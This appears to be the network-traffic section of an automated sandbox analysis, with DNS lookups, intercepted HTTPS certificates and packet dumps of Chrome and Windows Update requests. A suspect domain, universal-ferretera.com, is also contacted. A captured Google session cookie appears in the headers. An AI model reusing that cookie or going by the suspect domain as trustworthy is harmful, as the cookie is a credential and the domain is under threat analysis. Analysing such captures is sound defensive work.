                                  Jan 31, 2024 14:44:28.210371971 CET192.168.2.41.1.1.10x3d85Standard query (0)clients2.google.com65IN (0x0001)false
                                  Jan 31, 2024 14:44:28.357539892 CET192.168.2.41.1.1.10xb5d0Standard query (0)universal-ferretera.comA (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:28.357691050 CET192.168.2.41.1.1.10x8e38Standard query (0)universal-ferretera.com65IN (0x0001)false
                                  Jan 31, 2024 14:44:29.858261108 CET192.168.2.41.1.1.10x4f5cStandard query (0)code.jquery.comA (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:29.858458996 CET192.168.2.41.1.1.10x4790Standard query (0)code.jquery.com65IN (0x0001)false
                                  Jan 31, 2024 14:44:30.926064014 CET192.168.2.41.1.1.10xc000Standard query (0)www.google.comA (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:30.926346064 CET192.168.2.41.1.1.10xf6b7Standard query (0)www.google.com65IN (0x0001)false
                                  Jan 31, 2024 14:45:55.960304976 CET192.168.2.41.1.1.10x68bcStandard query (0)clients1.google.comA (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:45:55.960838079 CET192.168.2.41.1.1.10x28dfStandard query (0)clients1.google.com65IN (0x0001)false

                                  DNS Answers

                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                  Jan 31, 2024 14:44:28.326792002 CET1.1.1.1192.168.2.40x66cbNo error (0)accounts.google.com172.253.124.84A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:28.327477932 CET1.1.1.1192.168.2.40x3d85No error (0)clients2.google.comclients.l.google.comCNAME (Canonical name)IN (0x0001)false
                                  Jan 31, 2024 14:44:28.327512026 CET1.1.1.1192.168.2.40x48f0No error (0)clients2.google.comclients.l.google.comCNAME (Canonical name)IN (0x0001)false
                                  Jan 31, 2024 14:44:28.327512026 CET1.1.1.1192.168.2.40x48f0No error (0)clients.l.google.com64.233.185.139A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:28.327512026 CET1.1.1.1192.168.2.40x48f0No error (0)clients.l.google.com64.233.185.102A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:28.327512026 CET1.1.1.1192.168.2.40x48f0No error (0)clients.l.google.com64.233.185.138A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:28.327512026 CET1.1.1.1192.168.2.40x48f0No error (0)clients.l.google.com64.233.185.101A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:28.327512026 CET1.1.1.1192.168.2.40x48f0No error (0)clients.l.google.com64.233.185.100A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:28.327512026 CET1.1.1.1192.168.2.40x48f0No error (0)clients.l.google.com64.233.185.113A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:28.597826004 CET1.1.1.1192.168.2.40xb5d0No error (0)universal-ferretera.com198.54.120.89A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:29.977216959 CET1.1.1.1192.168.2.40x4f5cNo error (0)code.jquery.com151.101.66.137A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:29.977216959 CET1.1.1.1192.168.2.40x4f5cNo error (0)code.jquery.com151.101.2.137A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:29.977216959 CET1.1.1.1192.168.2.40x4f5cNo error (0)code.jquery.com151.101.194.137A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:29.977216959 CET1.1.1.1192.168.2.40x4f5cNo error (0)code.jquery.com151.101.130.137A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:29.979285002 CET1.1.1.1192.168.2.40x825fNo error (0)shed.dual-low.part-0012.t-0009.t-msedge.netpart-0012.t-0009.t-msedge.netCNAME (Canonical name)IN (0x0001)false
                                  Jan 31, 2024 14:44:29.979285002 CET1.1.1.1192.168.2.40x825fNo error (0)part-0012.t-0009.t-msedge.net13.107.246.40A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:29.979285002 CET1.1.1.1192.168.2.40x825fNo error (0)part-0012.t-0009.t-msedge.net13.107.213.40A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:30.559796095 CET1.1.1.1192.168.2.40x5283No error (0)shed.dual-low.part-0023.t-0009.t-msedge.netpart-0023.t-0009.t-msedge.netCNAME (Canonical name)IN (0x0001)false
                                  Jan 31, 2024 14:44:30.559796095 CET1.1.1.1192.168.2.40x5283No error (0)part-0023.t-0009.t-msedge.net13.107.246.51A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:30.559796095 CET1.1.1.1192.168.2.40x5283No error (0)part-0023.t-0009.t-msedge.net13.107.213.51A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:31.043755054 CET1.1.1.1192.168.2.40xc000No error (0)www.google.com74.125.138.147A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:31.043755054 CET1.1.1.1192.168.2.40xc000No error (0)www.google.com74.125.138.106A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:31.043755054 CET1.1.1.1192.168.2.40xc000No error (0)www.google.com74.125.138.104A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:31.043755054 CET1.1.1.1192.168.2.40xc000No error (0)www.google.com74.125.138.99A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:31.043755054 CET1.1.1.1192.168.2.40xc000No error (0)www.google.com74.125.138.105A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:31.043755054 CET1.1.1.1192.168.2.40xc000No error (0)www.google.com74.125.138.103A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:31.043798923 CET1.1.1.1192.168.2.40xf6b7No error (0)www.google.com65IN (0x0001)false
                                  Jan 31, 2024 14:45:56.077856064 CET1.1.1.1192.168.2.40x68bcNo error (0)clients1.google.comclients.l.google.comCNAME (Canonical name)IN (0x0001)false
                                  Jan 31, 2024 14:45:56.077856064 CET1.1.1.1192.168.2.40x68bcNo error (0)clients.l.google.com142.250.105.102A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:45:56.077856064 CET1.1.1.1192.168.2.40x68bcNo error (0)clients.l.google.com142.250.105.100A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:45:56.077856064 CET1.1.1.1192.168.2.40x68bcNo error (0)clients.l.google.com142.250.105.113A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:45:56.077856064 CET1.1.1.1192.168.2.40x68bcNo error (0)clients.l.google.com142.250.105.138A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:45:56.077856064 CET1.1.1.1192.168.2.40x68bcNo error (0)clients.l.google.com142.250.105.139A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:45:56.077856064 CET1.1.1.1192.168.2.40x68bcNo error (0)clients.l.google.com142.250.105.101A (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:45:56.079226971 CET1.1.1.1192.168.2.40x28dfNo error (0)clients1.google.comclients.l.google.comCNAME (Canonical name)IN (0x0001)false

                                  HTTP Request Dependency Graph

                                  • clients2.google.com
                                  • accounts.google.com
                                  • universal-ferretera.com
                                  • code.jquery.com
                                  • logincdn.msauth.net
                                  • fs.microsoft.com
                                  • slscr.update.microsoft.com
                                  • clients1.google.com

                                  HTTPS Connections

                                  TimestampSource IPSource PortDest IPDest PortSubjectIssuerNot BeforeNot AfterJA3 SSL Client FingerprintJA3 SSL Client Digest
                                  Jan 31, 2024 14:44:33.251349926 CET23.209.58.93443192.168.2.449745CN=fs.microsoft.com, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USCN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=US CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USTue Jan 30 14:44:33 CET 2024 Tue Mar 17 15:16:38 CET 2015Wed Jan 29 14:44:33 CET 2025 Thu Mar 09 15:16:38 CET 2045
                                  CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USCN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USTue Mar 17 15:16:38 CET 2015Thu Mar 09 15:16:38 CET 2045
                                  Jan 31, 2024 14:44:33.767936945 CET23.209.58.93443192.168.2.449746CN=fs.microsoft.com, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USCN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=US CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USTue Jan 30 14:44:33 CET 2024 Tue Mar 17 15:16:38 CET 2015Wed Jan 29 14:44:33 CET 2025 Thu Mar 09 15:16:38 CET 2045
                                  CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USCN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USTue Mar 17 15:16:38 CET 2015Thu Mar 09 15:16:38 CET 2045
                                  Jan 31, 2024 14:44:44.575433969 CET40.68.123.157443192.168.2.449751CN=slscr.update.microsoft.com, OU=DSP, O=Microsoft, L=Redmond, ST=WA, C=US CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USCN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=US CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USTue Jan 30 14:44:44 CET 2024 Tue Mar 17 15:16:38 CET 2015Wed Jan 29 14:44:44 CET 2025 Thu Mar 09 15:16:38 CET 2045
                                  CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USCN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USTue Mar 17 15:16:38 CET 2015Thu Mar 09 15:16:38 CET 2045
                                  Jan 31, 2024 14:45:24.534322023 CET40.68.123.157443192.168.2.449760CN=slscr.update.microsoft.com, OU=DSP, O=Microsoft, L=Redmond, ST=WA, C=US CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USCN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=US CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USTue Jan 30 14:44:44 CET 2024 Tue Mar 17 15:16:38 CET 2015Wed Jan 29 14:44:44 CET 2025 Thu Mar 09 15:16:38 CET 2045
                                  CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USCN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USTue Mar 17 15:16:38 CET 2015Thu Mar 09 15:16:38 CET 2045

                                  HTTPS Proxied Packets

                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  0192.168.2.44973164.233.185.139443C:\Program Files\Google\Chrome\Application\chrome.exe
                                  TimestampkBytes transferredDirectionData
                                  2024-01-31 13:44:28 UTC752OUTGET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
                                  Host: clients2.google.com
                                  Connection: keep-alive
                                  X-Goog-Update-Interactivity: fg
                                  X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda
                                  X-Goog-Update-Updater: chromecrx-117.0.5938.132
                                  Sec-Fetch-Site: none
                                  Sec-Fetch-Mode: no-cors
                                  Sec-Fetch-Dest: empty
                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                  Accept-Encoding: gzip, deflate, br
                                  Accept-Language: en-US,en;q=0.9
                                  2024-01-31 13:44:28 UTC732INHTTP/1.1 200 OK
                                  Content-Security-Policy: script-src 'report-sample' 'nonce-V7xcSFo8J-hsxAbbplvR4A' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
                                  Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                  Pragma: no-cache
                                  Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                  Date: Wed, 31 Jan 2024 13:44:28 GMT
                                  Content-Type: text/xml; charset=UTF-8
                                  X-Daynum: 6239
                                  X-Daystart: 20668
                                  X-Content-Type-Options: nosniff
                                  X-Frame-Options: SAMEORIGIN
                                  X-XSS-Protection: 1; mode=block
                                  Server: GSE
                                  Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                  Accept-Ranges: none
                                  Vary: Accept-Encoding
                                  Connection: close
                                  Transfer-Encoding: chunked
                                  2024-01-31 13:44:28 UTC520INData Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 32 33 39 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 32 30 36 36 38 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22
                                  Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6239" elapsed_seconds="20668"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
                                  2024-01-31 13:44:28 UTC200INData Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a
                                  Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
                                  2024-01-31 13:44:28 UTC5INData Raw: 30 0d 0a 0d 0a
                                  Data Ascii: 0


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  1192.168.2.449730172.253.124.84443C:\Program Files\Google\Chrome\Application\chrome.exe
                                  TimestampkBytes transferredDirectionData
                                  2024-01-31 13:44:28 UTC680OUTPOST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1
                                  Host: accounts.google.com
                                  Connection: keep-alive
                                  Content-Length: 1
                                  Origin: https://www.google.com
                                  Content-Type: application/x-www-form-urlencoded
                                  Sec-Fetch-Site: none
                                  Sec-Fetch-Mode: no-cors
                                  Sec-Fetch-Dest: empty
                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                  Accept-Encoding: gzip, deflate, br
                                  Accept-Language: en-US,en;q=0.9
                                  Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk
                                  2024-01-31 13:44:28 UTC1OUTData Raw: 20
                                  Data Ascii:
                                  2024-01-31 13:44:28 UTC1799INHTTP/1.1 200 OK
                                  Content-Type: application/json; charset=utf-8
                                  Access-Control-Allow-Origin: https://www.google.com
                                  Access-Control-Allow-Credentials: true
                                  X-Content-Type-Options: nosniff
                                  Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                  Pragma: no-cache
                                  Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                  Date: Wed, 31 Jan 2024 13:44:28 GMT
                                  Strict-Transport-Security: max-age=31536000; includeSubDomains
                                  Content-Security-Policy: script-src 'report-sample' 'nonce-ulngaLdDwTRc2ohgF4ARcw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self'
                                  Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist
                                  Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport
                                  Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factor=*, ch-ua-platform=*, ch-ua-platform-version=*
                                  Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                  Cross-Origin-Opener-Policy: same-origin
                                  reporting-endpoints: default="/_/IdentityListAccountsHttp/web-reports?context=eJzjMtDikmLw1JBiOHxtB5Meyy0mIyCe2_2UaSEQH4x7znQUiHf4eLA4pc9gDQBiIR6OPXNfrmUTmPCq7QkTALbLF7g"
                                  Server: ESF
                                  X-XSS-Protection: 0
                                  Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                  Accept-Ranges: none
                                  Vary: Accept-Encoding
                                  Connection: close
                                  Transfer-Encoding: chunked
                                  2024-01-31 13:44:28 UTC23INData Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a
                                  Data Ascii: 11["gaia.l.a.r",[]]
                                  2024-01-31 13:44:28 UTC5INData Raw: 30 0d 0a 0d 0a
                                  Data Ascii: 0


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  10192.168.2.44975140.68.123.157443
                                  TimestampkBytes transferredDirectionData
                                  2024-01-31 13:44:45 UTC306OUTGET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3zR+716CuA+MVrv&MD=C4TvLgvC HTTP/1.1
                                  Connection: Keep-Alive
                                  Accept: */*
                                  User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33
                                  Host: slscr.update.microsoft.com
                                  2024-01-31 13:44:45 UTC560INHTTP/1.1 200 OK
                                  Cache-Control: no-cache
                                  Pragma: no-cache
                                  Content-Type: application/octet-stream
                                  Expires: -1
                                  Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
                                  ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880"
                                  MS-CorrelationId: 1bbc5cfc-6907-4701-9351-b07622306947
                                  MS-RequestId: 7d94d0bb-c1ca-49a0-a750-d48178eac8ef
                                  MS-CV: vINm6hpYf0m/65O3.0
                                  X-Microsoft-SLSClientCache: 2880
                                  Content-Disposition: attachment; filename=environment.cab
                                  X-Content-Type-Options: nosniff
                                  Date: Wed, 31 Jan 2024 13:44:45 GMT
                                  Connection: close
                                  Content-Length: 24490
                                  2024-01-31 13:44:45 UTC15824INData Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58
                                  Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
                                  2024-01-31 13:44:45 UTC8666INData Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31
                                  Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  11192.168.2.44976040.68.123.157443
                                  TimestampkBytes transferredDirectionData
                                  2024-01-31 13:45:24 UTC306OUTGET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3zR+716CuA+MVrv&MD=C4TvLgvC HTTP/1.1
                                  Connection: Keep-Alive
                                  Accept: */*
                                  User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33
                                  Host: slscr.update.microsoft.com
                                  2024-01-31 13:45:25 UTC560INHTTP/1.1 200 OK
                                  Cache-Control: no-cache
                                  Pragma: no-cache
                                  Content-Type: application/octet-stream
                                  Expires: -1
                                  Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
                                  ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160"
                                  MS-CorrelationId: d38cc87f-cf8b-4286-af12-d27c485757a1
                                  MS-RequestId: 3c0c46f3-0fa0-4553-8ae0-5763c1db78ad
                                  MS-CV: qBXb5SpqukaAVDED.0
                                  X-Microsoft-SLSClientCache: 2160
                                  Content-Disposition: attachment; filename=environment.cab
                                  X-Content-Type-Options: nosniff
                                  Date: Wed, 31 Jan 2024 13:45:24 GMT
                                  Connection: close
                                  Content-Length: 25457
                                  2024-01-31 13:45:25 UTC15824INData Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92
                                  Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
                                  2024-01-31 13:45:25 UTC9633INData Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a
                                  Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  12192.168.2.449763142.250.105.102443C:\Program Files\Google\Chrome\Application\chrome.exe
                                  TimestampkBytes transferredDirectionData
                                  2024-01-31 13:45:56 UTC449OUTGET /tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=0000000000000000000000000000000000000000904777ECD0 HTTP/1.1
                                  Host: clients1.google.com
                                  Connection: keep-alive
                                  Sec-Fetch-Site: none
                                  Sec-Fetch-Mode: no-cors
                                  Sec-Fetch-Dest: empty
                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                  Accept-Encoding: gzip, deflate, br
                                  2024-01-31 13:45:56 UTC817INHTTP/1.1 200 OK
                                  Content-Security-Policy: script-src 'report-sample' 'nonce-bneDT7JxSsfcxQ6Epm4Ybg' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/download-dt/1
                                  Content-Security-Policy: script-src 'report-sample' 'nonce-2Sp8NwupRn077d274lFYFg' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/download-dt/1
                                  Content-Type: text/plain; charset=utf-8
                                  Content-Length: 220
                                  Date: Wed, 31 Jan 2024 13:45:56 GMT
                                  Expires: Wed, 31 Jan 2024 13:45:56 GMT
                                  Cache-Control: private, max-age=0
